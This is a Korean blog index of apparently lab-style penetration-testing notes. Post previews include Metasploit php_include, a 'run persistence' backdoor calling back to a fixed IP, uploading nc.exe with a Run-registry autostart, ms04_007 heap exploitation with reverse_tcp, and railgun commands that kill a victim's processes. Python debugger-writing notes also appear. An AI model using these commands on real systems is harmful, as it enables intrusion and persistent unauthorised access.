본문 바로가기

전체 글

(270)
[모의해킹] 리눅스 웹서버 취약점 탐색 - nikto /pentest/web/nikto/nikto.pl -h [서버주소] -p [포트]Ex) /pentest/web/nikto.pl -h 192.168.7.136 -p 80 php include 취약점php의 include() 함수는 지정경로의 파일을 포함한다.만약 php소스가 include("/etc/passwd") 일 경우, /etc/passwd 의 내용을 참조한다또한 이것은 꼭 파일의 경로에 한정된 것이 아닌, URL도 포함된다.따라서 내 포트중 하나에 악의적인 PHP소스를 넣고 열어두어 희생자 PC에 내 소스를 참조하게 한다면,공격은 성공한다. use exploit/unix/webapp/php_includeset PHPURL [URL]/?hacker=www.naver.com--> naver.com 을 ..
[모의해킹] 자동 백도어 설치 File format attak- PDF- SWF- HWP- AVI 요즘은 거의 HWP 를 주로 공격하는데, 그 이유는 관공서에서는 무조건 HWP 를 사용하기 때문이다. 자동백도어 설치 meterpreter> run persistence -h-X : 시작시 자동실행-i : 응답시간-p : 포트번호-r : 응답 받을 아이피. (백트랙의 아이피)-L : 설치할 경로 meterpreter> run persistence -X -L c:\\ -i 10 -p 443 -r 192.168.7.131--> 시스템 시작시 자동 실행, 포트 443, 192.168.7.131로 접속, 응답 시간 10초, c:\\에 설치. 그리고 백트랙에서는 핸들러를 열어야 한다. msf> use multi/handlermsf exploit(..
디버거 이벤트 헨들러 구현 출처! 저번에는 디버거에 PID를 이용해 프로세스를 attach 까지 했다. 이번에는 디버거 핸들러 구현을 할것이다.이벤트가 발생했을 때 디버거가 그 이벤트에 반응하려면, 각 디버깅 이벤트에 대한 핸들러가 있어야 한다.--> WaitForDebugEvent() 함수를 이용하는데, 이 함수는 이벤트가 발생할 때마다 DEBUG_EVENT 구조체를 반환한다. DEBUG_EVENT 구조체의 구조는 typedef struct _DEBUG_EVENT { DWORD dwDebugEventCode; DWORD dwProcessId; DWORD dwThreadId; union { EXCEPTION_DEBUG_INFO Exception; CREATE_THREAD_DEBUG_INFO CreateThread; CREATE_P..
[모의해킹] 타겟PC 에 Backdoor 설치 우선 기존의 exploit 을 통해 meterpreter 쉘로 진입한다.(일단 예시를 위해 ms08_067 로 익스플로잇) 그 후, upload 명령어를 이용해 nc.exe 를 업로드 시킨다. (백도어)업로드 명령어upload [Upload_File_Path] [To_upload_File_path] 백도어를 설치하는 이유는 장악 유지를 하기 위해, 언제든지 내가 침입하기 위해 설치하는 것 백도어를 설치할 때는, 우선 항상 실행되게 하기 위해 레지스트리에 등록을 해놓고, 시작프로그램으로 실행되게 한다. meterpreter> reg// 레지스트리 명령어 시작 프로그램 등록을 위해 우리가 변경해야 할 레지스트리의 키 경로는,HKEY_LOCAL_MACHINE - SOFTWARE - Microsoft - Win..
모의해킹 - Heap Overflow 를 이용한 Exploit [+] Stack 을 이용한 오버플로우는 익스플로잇 확률이 거의 100%에 가까워서 실습이 쉬웠지만,Heap 영역은 런타임 시에 결정되므로 성공률이 높지 않다.(익스플로잇이 될수도, 실패할 수도 있다) Exploit name - ms04_007_killbillPayload name - reverse_tcp 나중에 성공하면 다시 올리겠다.
메타스플로잇- API를 이용하기 목표 1. XP에서 실행시킨 노트패드를 API를 이용해 종료2. 희생자의 컴퓨터에서 메세지 박스 띄우기 메모장 끄기 notepad PID : 848 meterpreter> irb ?> client.railgun.kernel32.OpenProcess("PROCESS_TERMINATE",false,848)return => 2232>> Phandle=[2232]>> client.railgun.kernel32.TerminateProcess(2232,0) 하면 PID가 848 인 프로세스가 꺼진다. (여기서는 메모장) 메세지 박스 키기!메세지 박스를 키는 API 는 MessageBoxA() 이다.하지만 우선 explorer.exe 로 migrate 해두자. (메세지를 띄우려면 GUI 의 도움을 받아야 하므로)또한..
디버거와 프로세스를 연결하는 방법, CPU 레지스터 값을 출력하는 방법 지식출처: http://scytalezz.tistory.com/21 BOOL CreateProcess { } 프로세스를 디버깅 하려면 일단 디버거와 프로세스를 연결해야 한다.그래서 디버거에서 직접 프로세스를 실행시키거나, 이미 실행한 프로세스의 PID를 이용해 붙여야 한다. 프로세스를 실행시키는 경우, 프로세스의 코드가 실행되기 전 디버거가 제어를 할 수 있다는 장점이 있다.윈도우에서 프로세스를 실행시킬 때 CreateProcess() 함수를 호출한다. BOOL CreateProcess( LPCWSTR pszImageName, // 실행시킬 실행 바이너리 경로 LPCWSTR pszCmdLine, // 커맨드라인 인자 전달 LPSECURITY_ATTRIBUTES psaProcess, LPSECURITY_A..
my_test.py # -*- coding: cp949 -*- import my_debugger debugger = my_debugger.debugger() pid = raw_input("Enter the PID of the process to attach to: ") debugger.attach(int(pid)) list = debugger.enumerate_threads() # 스레드 리스트의 각 스레드에 대한 # 레지스터 값을 출력한다. for thread in list: thread_context = debugger.get_thread_context(thread) # 레지스터의 내용을 출력한다. print "[*] Dumping registers for thread ID: 0x%08x" % thread print "..